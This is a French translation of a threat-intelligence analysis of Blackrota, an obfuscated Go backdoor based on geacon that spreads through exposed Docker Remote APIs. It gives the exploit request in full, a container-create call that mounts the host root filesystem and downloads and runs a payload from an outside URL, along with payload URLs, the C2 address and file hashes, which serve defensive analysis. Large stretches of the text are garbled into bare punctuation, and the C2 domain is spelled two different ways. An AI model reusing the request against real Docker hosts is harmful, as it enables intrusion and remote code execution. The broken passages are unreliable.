Blackrota, une porte dérobée fortement obscurcie écrite en Go

Le malware Go ELF le plus obscurci que nous ayons vu à ce jour.





Préface

Récemment, une porte dérobée malveillante écrite en Go qui exploitait une vulnérabilité d'accès non autorisé dans l'API Docker Remote a été interceptée sur l'Anglerfish Honeypot.





Nous l'avons nommé Blackrota parce que son domaine C2 est blackrota.ga .





La porte dérobée Blackrota est actuellement disponible uniquement pour Linux, au format ELF et prend en charge les architectures x86 / x86-64.





Blackrota est configuré et compilé sur la base de geacon - l'implémentation CobaltStrike Beacon Go utilisée en tant que CobaltStrike Beacon, qui interagit avec CobaltStrike pour contrôler un hôte compromis:





Cependant, il ne s'agit que d'une implémentation de certaines des fonctionnalités clés du CobaltStrike Beacon original:





  • CMD_SHELL: exécution de commandes Shell,





  • CMD_UPLOAD: télécharger des fichiers,





  • CMDDOWNLOAD: télécharger des fichiers spéciaux,





  • CMD_FILE _ ROWSE: visualiser le fichier,





  • CMD_CD: changer de répertoire,





  • CMD_SLEEP: définir le délai de mise en veille,





  • CMD_PWD: retourne le répertoire courant,





  • CMD_EXIT: quitter.





geacon, Blackrota gobfuscate - . Gobfuscate - Go-, Go- :





  • ;





  • ;





  • ;





  • ;





  • .





, gobfuscate XOR , XOR, .





Go . , , , , . , , , Go . , Go.





, Go : RTSI (Runtime Symbol Information) RTTI (Runtime Type Information) . , Go, , Go. Go . , RTSI RTTI , , .





Blackrota gobfuscate , "life-door" . , , . .





, Go, , - , . Blackrota - Go ELF , .





Blackrota





Blackrota API Docker. :





POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json

{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
      
      



32/64 Blackrota URL :





https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
      
      



Blackrota

, Blackrota Go. go_parser IDAPro, , Go1.15.3, GOROOT path "/usr/local/Cellar/ go/1.15.3/libexec". , , , , , , .





, ( )





/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go

      
      



Blackrota

, , , , Blackrota .





:





:





, , , :





, , , Go , . , , , Blackrota geacon.





, Blackrota, :





  1. geacon Blackrota, ,





  2. idb2pat.py IDAPro (geacon.pat) geacon-,





  3. sigmake Flair Tools geacon (geacon.sig),





  4. geacon.sig Blackrota IDAPro, .





! , , , , geacon-, :





Blackrota

, , Go, Blackrota, geacon . , geacon.





, Blackrota XOR , , , . XOR. gobfuscate XOR , , , . XOR :





, , XOR XOR. , .





, Go, , , . - , @joakimkennedy, main:





main - :





- EKANS, , Blackrota:





La méthode d'obfuscation utilisée dans les logiciels malveillants Blackrota et EKANS crée de nouveaux appels / problèmes de désassemblage. Au fur et à mesure que le langage Go devient de plus en plus populaire et que de plus en plus de logiciels malveillants sont écrits dans Go à l'avenir, nous garderons un œil sur ce qui se passe.





IoC





MD5:





e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
      
      



C&C:





blackrato.ga    165.227.199.214    ASN: 14061|DigitalOcean,_LLC
      
      



PS L'article a été publié avec l'autorisation de l'auteur. Ma première traduction, merci de la traiter avec compréhension.








All Articles